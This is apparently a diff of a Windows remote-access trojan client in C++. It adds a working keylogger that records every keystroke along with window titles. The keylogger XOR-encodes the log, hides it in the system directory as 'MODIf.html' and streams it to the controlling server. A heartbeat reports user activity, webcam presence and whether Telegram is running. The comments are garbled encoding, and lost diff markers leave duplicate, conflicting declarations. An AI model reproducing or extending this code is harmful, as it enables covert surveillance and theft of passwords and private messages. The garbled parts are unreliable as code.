auto idle = GetUserIdleTime();
BOOL isActive = (idle < threshold_ms);
if (isActive) {
return GetActiveWindowTitle();
}
return "Inactive: " + FormatMilliseconds(idle);
}
private:
std::string FormatMilliseconds(DWORD ms)
{
DWORD totalSeconds = ms / 1000;
DWORD hours = totalSeconds / 3600;
DWORD minutes = (totalSeconds % 3600) / 60;
DWORD seconds = totalSeconds % 60;
std::stringstream ss;
ss << std::setfill('0')
<< std::setw(2) << hours << ":"
<< std::setw(2) << minutes << ":"
<< std::setw(2) << seconds;
return ss.str();
}
std::string GetActiveWindowTitle()
{
HWND hForegroundWindow = GetForegroundWindow();
if (hForegroundWindow == NULL)
return "No active window";
char windowTitle[256];
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
return std::string(windowTitle);
}
DWORD GetLastInputTime()
{
LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) };
GetLastInputInfo(&lii);
return lii.dwTime;
}
DWORD GetUserIdleTime()
{
return (GetTickCount64() - GetLastInputTime());
}
};
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD><EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>3<EFBFBD><33><EFBFBD><EFBFBD>Ա: <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p).
struct ThreadInfo
{
BOOL run;
HANDLE h;
IOCPClient *p;
ThreadInfo() : run(TRUE), h(NULL), p(NULL){ }
void* user;
CONNECT_ADDRESS* conn;
ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr), conn(nullptr){ }
};
class CKernelManager : public CManager
{
public:
CKernelManager(IOCPClient* ClientObject);
CONNECT_ADDRESS* m_conn;
HINSTANCE m_hInstance;
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance);
virtual ~CKernelManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
ThreadInfo m_hThread[0x1000];
ThreadInfo m_hThread[MAX_THREADNUM];
// <20><>ֵ<EFBFBD><D6B5>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڼ<EFBFBD>¼<EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱm_hThread<61><64>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>³<EFBFBD><C2B3><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD>ҽ<EFBFBD><D2BD><EFBFBD>ֵ<EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD><EFBFBD>޸<EFBFBD>Ϊ"<22><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>±<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_hThread<61><64><EFBFBD><EFBFBD>ָλ<D6B8>ÿ<EFBFBD><C3BF>ã<EFBFBD><C3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD><C2B5>̷߳<DFB3><CCB7><EFBFBD><EFBFBD>ڸ<EFBFBD>λ<EFBFBD><CEBB>
ULONG m_ulThreadCount;
UINT GetAvailableIndex();
MasterSettings m_settings;
int m_nNetPing; // <20><><EFBFBD><EFBFBD>״<EFBFBD><D7B4>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int SendHeartbeat() {
for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
Sleep(1000);
if (m_settings.ReportInterval <= 0) { // <20>ر<EFBFBD><D8B1>ϱ<EFBFBD><CFB1><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Sleep(1000);
return 0;
}
if (g_bExit || !m_ClientObject->IsConnected())
return -1;
ActivityWindow checker;
auto s = checker.Check();
Heartbeat a(s, m_nNetPing);
a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware);
BYTE buf[sizeof(Heartbeat) + 1];
buf[0] = TOKEN_HEARTBEAT;
memcpy(buf + 1, &a, sizeof(Heartbeat));
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
return 0;
}
bool SoftwareCheck(int type) {
static std::map<int, std::string> m = {
{SOFTWARE_CAMERA, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ"},
{SOFTWARE_TELEGRAM, "telegram.exe" },
};
static bool hasCamera = WebCamIsExist();
return type == SOFTWARE_CAMERA ? hasCamera : IsProcessRunning({ m[type] });
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool IsProcessRunning(const std::vector<std::string>& processNames) {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
// <20><>ȡ<EFBFBD><C8A1>ǰϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD>н<EFBFBD><D0BD>̵Ŀ<CCB5><C4BF><EFBFBD>
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
return true;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>н<EFBFBD><D0BD><EFBFBD>
if (Process32First(hProcessSnap, &pe32)) {
do {
for (const auto& processName : processNames) {
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƥ<EFBFBD><EFBFBD>򷵻<EFBFBD> true
if (_stricmp(pe32.szExeFile, processName.c_str()) == 0) {
CloseHandle(hProcessSnap);
return true;
}
}
} while (Process32Next(hProcessSnap, &pe32));
}
CloseHandle(hProcessSnap);
return false;
}
};
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)

504
client/KeyboardManager.cpp Normal file
View File

@@ -0,0 +1,504 @@
// KeyboardManager.cpp: implementation of the CKeyboardManager class.
//
//////////////////////////////////////////////////////////////////////
#include "KeyboardManager.h"
#include <tchar.h>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
#include <iostream>
#include <winbase.h>
#include <winuser.h>
#define FILE_PATH "\\MODIf.html"
#define CAPTION_SIZE 1024
CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n, void* user) : CManager(pClient)
{
sendStartKeyBoard();
WaitForDialogOpen();
sendOfflineRecord();
GetSystemDirectory(m_strRecordFile, sizeof(m_strRecordFile));
lstrcat(m_strRecordFile, FILE_PATH);
m_bIsWorking = true;
dKeyBoardSize = 0;
m_hWorkThread = MyCreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
m_hSendThread = MyCreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
}
CKeyboardManager1::~CKeyboardManager1()
{
m_bIsWorking = false;
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hSendThread, INFINITE);
CloseHandle(m_hWorkThread);
CloseHandle(m_hSendThread);
}
void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
{
if (lpBuffer[0] == COMMAND_NEXT)
NotifyDialogIsOpen();
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) {
}
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) {
DeleteFile(m_strRecordFile);
HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hFile);
dKeyBoardSize = 0;
}
}
int CKeyboardManager1::sendStartKeyBoard()
{
BYTE bToken[2];
bToken[0] = TOKEN_KEYBOARD_START;
bToken[1] = (BYTE)true;
return Send((LPBYTE)&bToken[0], sizeof(bToken));
}
int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize)
{
int nRet = -1;
DWORD dwBytesLength = 1 + nSize;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
lpBuffer[0] = TOKEN_KEYBOARD_DATA;
memcpy(lpBuffer + 1, lpData, nSize);
nRet = Send((LPBYTE)lpBuffer, dwBytesLength);
LocalFree(lpBuffer);
return nRet;
}
int CKeyboardManager1::sendOfflineRecord(DWORD dwRead)
{
int nRet = 0;
DWORD dwSize = 0;
DWORD dwBytesRead = 0;
HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
dwSize = GetFileSize(hFile, NULL);
dKeyBoardSize = dwSize;
if (0 != dwRead) {
SetFilePointer(hFile, dwRead, NULL, FILE_BEGIN);
dwSize -= dwRead;
}
TCHAR *lpBuffer = new TCHAR[dwSize];
ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
// <20><><EFBFBD><EFBFBD>
for (int i = 0; i < (dwSize/sizeof(TCHAR)); i++)
lpBuffer[i] ^= '`';
nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
delete[] lpBuffer;
}
CloseHandle(hFile);
return nRet;
}
std::string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
{
std::string KeyString = "";
//<2F>жϷ<D0B6><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
const int KeyPressMask=0x80000000; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EBB3A3>
int iShift=GetKeyState(0x10); //<2F>ж<EFBFBD>Shift<66><74>״̬
bool IS=(iShift & KeyPressMask)==KeyPressMask; //<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Shift<66><74>
if(Key >=186 && Key <=222) {
switch(Key) {
case 186:
if(IS)
KeyString = ":";
else
KeyString = ";";
break;
case 187:
if(IS)
KeyString = "+";
else
KeyString = "=";
break;
case 188:
if(IS)
KeyString = "<";
else
KeyString = ",";
break;
case 189:
if(IS)
KeyString = "_";
else
KeyString = "-";
break;
case 190:
if(IS)
KeyString = ">";
else
KeyString = ".";
break;
case 191:
if(IS)
KeyString = "?";
else
KeyString = "/";
break;
case 192:
if(IS)
KeyString = "~";
else
KeyString = "`";
break;
case 219:
if(IS)
KeyString = "{";
else
KeyString = "[";
break;
case 220:
if(IS)
KeyString = "|";
else
KeyString = "\\";
break;
case 221:
if(IS)
KeyString = "}";
else
KeyString = "]";
break;
case 222:
if(IS)
KeyString = '"';
else
KeyString = "'";
break;
}
}
//<2F>жϼ<D0B6><CFBC>̵ĵ<CCB5>һ<EFBFBD><D2BB>
if (Key == VK_ESCAPE) // <20>˳<EFBFBD>
KeyString = "[Esc]";
else if (Key == VK_F1) // F1<46><31>F12
KeyString = "[F1]";
else if (Key == VK_F2)
KeyString = "[F2]";
else if (Key == VK_F3)
KeyString = "[F3]";
else if (Key == VK_F4)
KeyString = "[F4]";
else if (Key == VK_F5)
KeyString = "[F5]";
else if (Key == VK_F6)
KeyString = "[F6]";
else if (Key == VK_F7)
KeyString = "[F7]";
else if (Key == VK_F8)
KeyString = "[F8]";
else if (Key == VK_F9)
KeyString = "[F9]";
else if (Key == VK_F10)
KeyString = "[F10]";
else if (Key == VK_F11)
KeyString = "[F11]";
else if (Key == VK_F12)
KeyString = "[F12]";
else if (Key == VK_SNAPSHOT) // <20><>ӡ<EFBFBD><D3A1>Ļ
KeyString = "[PrScrn]";
else if (Key == VK_SCROLL) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
KeyString = "[Scroll Lock]";
else if (Key == VK_PAUSE) // <20><>ͣ<EFBFBD><CDA3><EFBFBD>ж<EFBFBD>
KeyString = "[Pause]";
else if (Key == VK_CAPITAL) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
KeyString = "[Caps Lock]";
//-------------------------------------//
//<2F><><EFBFBD>Ƽ<EFBFBD>
else if (Key == 8) //<- <20>ظ<EFBFBD><D8B8><EFBFBD>
KeyString = "[Backspace]";
else if (Key == VK_RETURN) // <20>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
KeyString = "[Enter]\n";
else if (Key == VK_SPACE) // <20>ո<EFBFBD>
KeyString = " ";
//<2F>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʱ<EFBFBD>򣬿<EFBFBD><F2A3ACBF>Բ<EFBFBD><D4B2><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Shift<66>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κ<EFBFBD><CEBA>ַ<EFBFBD><D6B7><EFBFBD>
//<2F>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
/*
else if (Key == VK_LSHIFT) // <20><><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>
KeyString = "[Shift]";
else if (Key == VK_LSHIFT) // <20>Ҳ<EFBFBD><D2B2>ϵ<EFBFBD><CFB5><EFBFBD>
KeyString = "[SHIFT]";
*/
/*<2A><><EFBFBD><EFBFBD>ֻ<EFBFBD>ǶԼ<C7B6><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>м<EFBFBD>¼:<3A><><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>*/
else if (Key == VK_TAB) // <20>Ʊ<EFBFBD><C6B1><EFBFBD>
KeyString = "[Tab]";
else if (Key == VK_LCONTROL) // <20><><EFBFBD><EFBFBD><EFBFBD>Ƽ<EFBFBD>
KeyString = "[Ctrl]";
else if (Key == VK_RCONTROL) // <20>ҿ<EFBFBD><D2BF>Ƽ<EFBFBD>
KeyString = "[CTRL]";
else if (Key == VK_LMENU) // <20>󻻵<EFBFBD><F3BBBBB5><EFBFBD>
KeyString = "[Alt]";
else if (Key == VK_LMENU) // <20>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>
KeyString = "[ALT]";
else if (Key == VK_LWIN) // <20><> WINDOWS <20><>
KeyString = "[Win]";
else if (Key == VK_RWIN) // <20><> WINDOWS <20><>
KeyString = "[WIN]";
else if (Key == VK_APPS) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>Ҽ<EFBFBD>
KeyString = "<EFBFBD>Ҽ<EFBFBD>";
else if (Key == VK_INSERT) // <20><><EFBFBD><EFBFBD>
KeyString = "[Insert]";
else if (Key == VK_DELETE) // ɾ<><C9BE>
KeyString = "[Delete]";
else if (Key == VK_HOME) // <20><>ʼ
KeyString = "[Home]";
else if (Key == VK_END) // <20><><EFBFBD><EFBFBD>
KeyString = "[End]";
else if (Key == VK_PRIOR) // <20><>һҳ
KeyString = "[PgUp]";
else if (Key == VK_NEXT) // <20><>һҳ
KeyString = "[PgDown]";
// <20><><EFBFBD><EFBFBD><EFBFBD>õļ<C3B5><C4BC><EFBFBD><EFBFBD><EFBFBD>:һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>
else if (Key == VK_CANCEL) // Cancel
KeyString = "[Cancel]";
else if (Key == VK_CLEAR) // Clear
KeyString = "[Clear]";
else if (Key == VK_SELECT) //Select
KeyString = "[Select]";
else if (Key == VK_PRINT) //Print
KeyString = "[Print]";
else if (Key == VK_EXECUTE) //Execute
KeyString = "[Execute]";
//----------------------------------------//
else if (Key == VK_LEFT) //<2F>ϡ<EFBFBD><CFA1>¡<EFBFBD><C2A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD>
KeyString = "[<5B><>]";
else if (Key == VK_RIGHT)
KeyString = "[<5B><>]";
else if (Key == VK_UP)
KeyString = "[<5B><>]";
else if (Key == VK_DOWN)
KeyString = "[<5B><>]";
else if (Key == VK_NUMLOCK)//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
KeyString = "[NumLock]";
else if (Key == VK_ADD) // <20>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD><CBA1><EFBFBD>
KeyString = "+";
else if (Key == VK_SUBTRACT)
KeyString = "-";
else if (Key == VK_MULTIPLY)
KeyString = "*";
else if (Key == VK_DIVIDE)
KeyString = "/";
else if (Key == 190 || Key == 110) // С<><D0A1><EFBFBD><EFBFBD> . <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> .
KeyString = ".";
//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ּ<EFBFBD>:0-9
else if (Key == VK_NUMPAD0)
KeyString = "0";
else if (Key == VK_NUMPAD1)
KeyString = "1";
else if (Key == VK_NUMPAD2)
KeyString = "2";
else if (Key == VK_NUMPAD3)
KeyString = "3";
else if (Key == VK_NUMPAD4)
KeyString = "4";
else if (Key == VK_NUMPAD5)
KeyString = "5";
else if (Key == VK_NUMPAD6)
KeyString = "6";
else if (Key == VK_NUMPAD7)
KeyString = "7";
else if (Key == VK_NUMPAD8)
KeyString = "8";
else if (Key == VK_NUMPAD9)
KeyString = "9";
//-------------------------------------------//
//-------------------------------------------//
//*<2A><><EFBFBD><EFBFBD>ĸ<EFBFBD>Ĵ<EFBFBD>Сд<D0A1><D0B4><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>*//
else if (Key >=97 && Key <= 122) { // <20><>ĸ:a-z
if (GetKeyState(VK_CAPITAL)) { // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
if(IS) //Shift<66><74><EFBFBD><EFBFBD>Сд<D0A1><D0B4>ĸ
KeyString = Key;
else // ֻ<>д<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4>ĸ
KeyString = Key - 32;
} else { // <20><>дû<D0B4><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if(IS) // <20><><EFBFBD><EFBFBD>Shift<66><74>: <20><>д<EFBFBD><D0B4>ĸ
KeyString = Key - 32;
else // û<>а<EFBFBD>Shift<66><74>: Сд<D0A1><D0B4>ĸ
KeyString = Key;
}
} else if (Key >=48 && Key <= 57) { // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:0-9<><39><EFBFBD>Ϸ<EFBFBD><CFB7>ķ<EFBFBD><C4B7><EFBFBD>
if(IS) {
switch(Key) {
case 48: //0
KeyString = ")";
break;
case 49://1
KeyString = "!";
break;
case 50://2
KeyString = "@";
break;
case 51://3
KeyString = "#";
break;
case 52://4
KeyString = "$";
break;
case 53://5
KeyString = "%";
break;
case 54://6
KeyString = "^";
break;
case 55://7
KeyString = "&";
break;
case 56://8
KeyString = "*";
break;
case 57://9
KeyString = "(";
break;
}
} else
KeyString = Key;
}
if (Key != VK_LBUTTON || Key != VK_RBUTTON) {
if (Key >=65 && Key <=90) { //ASCII 65-90 ΪA-Z
if (GetKeyState(VK_CAPITAL)) { // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>A-Z
if(IS) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ұ<EFBFBD><D2B0><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD><EFBFBD>ΪСд<D0A1><D0B4>ĸ
KeyString = Key + 32;
else //ֻ<>д<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>д<EFBFBD><D0B4>ĸ
KeyString = Key;
} else { // <20><>дû<D0B4><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:a-z
if(IS) {
KeyString = Key;
} else {
Key = Key + 32;
KeyString = Key;
}
}
}
}
return KeyString;
}
void SaveToFile(TCHAR *strRecordFile, TCHAR *lpBuffer)
{
HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE,
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwBytesWrite = 0;
DWORD dwSize = GetFileSize(hFile, NULL);
if (dwSize < 1024 * 1024 * 50)
SetFilePointer(hFile, 0, 0, FILE_END);
// <20><><EFBFBD><EFBFBD>
int nLength = lstrlen(lpBuffer);
TCHAR* lpEncodeBuffer = new TCHAR[nLength];
for (int i = 0; i < nLength; i++)
lpEncodeBuffer[i] = lpBuffer[i] ^ _T('`');
WriteFile(hFile, lpEncodeBuffer, lstrlen(lpBuffer)*sizeof(TCHAR), &dwBytesWrite, NULL);
CloseHandle(hFile);
delete [] lpEncodeBuffer;
return;
}
BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData)
{
HWND hFocus = GetForegroundWindow();
BOOL ReturnFlag = FALSE;
if (hFocus != PreviousFocus) {
if (lstrlen(WindowCaption) > 0) {
if (hasData) {
SYSTEMTIME s;
GetLocalTime(&s);
wsprintf(szText, _T("\r\n[<5B><><EFBFBD><EFBFBD>:] %s\r\n<><CAB1>:]%d-%02d-%02d %02d:%02d:%02d\r\n"),
WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond);
}
memset(WindowCaption, 0, CAPTION_SIZE);
ReturnFlag=TRUE;
}
PreviousFocus = hFocus;
SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption);
}
return ReturnFlag;
}
DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam)
{
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
while(pThis->m_bIsWorking) {
DWORD dwSize =0;
HANDLE hFile = CreateFile(pThis->m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
dwSize = GetFileSize(hFile, NULL);
}
CloseHandle(hFile);
if (pThis->dKeyBoardSize != dwSize) {
pThis->sendOfflineRecord(pThis->dKeyBoardSize);
}
Sleep(3000);
}
return 0;
}
DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
{
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
TCHAR KeyBuffer[2048] = {};
TCHAR szText[CAPTION_SIZE] = {};
TCHAR WindowCaption[CAPTION_SIZE] = {};
HWND PreviousFocus = NULL;
while(pThis->m_bIsWorking) {
Sleep(5);
int num = lstrlen(KeyBuffer);
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
bool newWindowInput = strlen(szText);
if (newWindowInput){// <20><><EFBFBD>µĴ<C2B5><C4B4><EFBFBD><EFBFBD>м<EFBFBD><D0BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
lstrcat(KeyBuffer, szText);
memset(szText, 0, sizeof(szText));
}
if (lstrlen(KeyBuffer) > 0) {
if (!newWindowInput)
lstrcat(KeyBuffer, _T("\r\n"));
const int offset = sizeof(_T("\r\n[<5B><><EFBFBD><EFBFBD>:]")) - 1;
memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer));
memcpy(KeyBuffer, _T("\r\n[<5B><><EFBFBD><EFBFBD>:]"), offset);
SaveToFile(pThis->m_strRecordFile, KeyBuffer);
memset(KeyBuffer,0,sizeof(KeyBuffer));
}
}
for(int i = 8; i <= 255; i++) {
if((GetAsyncKeyState(i)&1) == 1) {
std::string TempString = GetKey (i);
lstrcat(KeyBuffer,TempString.c_str());
}
}
}
return 0;
}

35
client/KeyboardManager.h Normal file
View File

@@ -0,0 +1,35 @@
// KeyboardManager.h: interface for the CKeyboardManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_)
#define AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "..\Manager.h"
class CKeyboardManager1 : public CManager
{
public:
CKeyboardManager1(CClientSocket *pClient, int n=0, void* user = nullptr);
virtual ~CKeyboardManager1();
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
static DWORD WINAPI KeyLogger(LPVOID lparam);
static DWORD WINAPI SendData(LPVOID lparam);
HANDLE m_hWorkThread,m_hSendThread;
DWORD dKeyBoardSize;
TCHAR m_strRecordFile[MAX_PATH];
private:
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
int sendStartKeyBoard();
int sendOfflineRecord(DWORD dwRead = 0);
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
bool m_bIsWorking;
};
#endif // !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_)

View File

@@ -1,26 +1,194 @@
#include "StdAfx.h"
#include "LoginServer.h"
#include "Common.h"
#include <string>
#include <iostream>
#include <iomanip>
#include <ctime>
#include <NTSecAPI.h>
// by ChatGPT
bool IsWindows11() {
typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
RTL_OSVERSIONINFOW rovi = { 0 };
rovi.dwOSVersionInfoSize = sizeof(rovi);
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
if (hMod) {
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
if (rtlGetVersion) {
rtlGetVersion(&rovi);
return (rovi.dwMajorVersion == 10 && rovi.dwMinorVersion == 0 && rovi.dwBuildNumber >= 22000);
}
}
return false;
}
/************************************************************************
---------------------
<EFBFBD><EFBFBD><EFBFBD>ߣ<EFBFBD>IT1995
<EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD>CSDN
ԭ<EFBFBD>ģ<EFBFBD>https://blog.csdn.net/qq78442761/article/details/64440535
<EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>£<EFBFBD>ת<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӣ<EFBFBD>
<EFBFBD>޸<EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD>2019.3.29<EFBFBD><EFBFBD>Ԭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޸<EFBFBD>
************************************************************************/
std::string getSystemName()
{
LOGIN_INFOR LoginInfor = {0};
std::string vname("δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ");
//<2F><><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>Ϊwin8.1<EFBFBD><EFBFBD>win10
typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
HINSTANCE hinst = LoadLibrary("ntdll.dll");
if (hinst == NULL)
{
return vname;
}
if (IsWindows11()) {
vname = "Windows 11";
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
return vname;
}
DWORD dwMajor, dwMinor, dwBuildNumber;
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
if (proc==NULL)
{
return vname;
}
proc(&dwMajor, &dwMinor, &dwBuildNumber);
if (dwMajor == 6 && dwMinor == 3) //win 8.1
{
vname = "Windows 8.1";
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
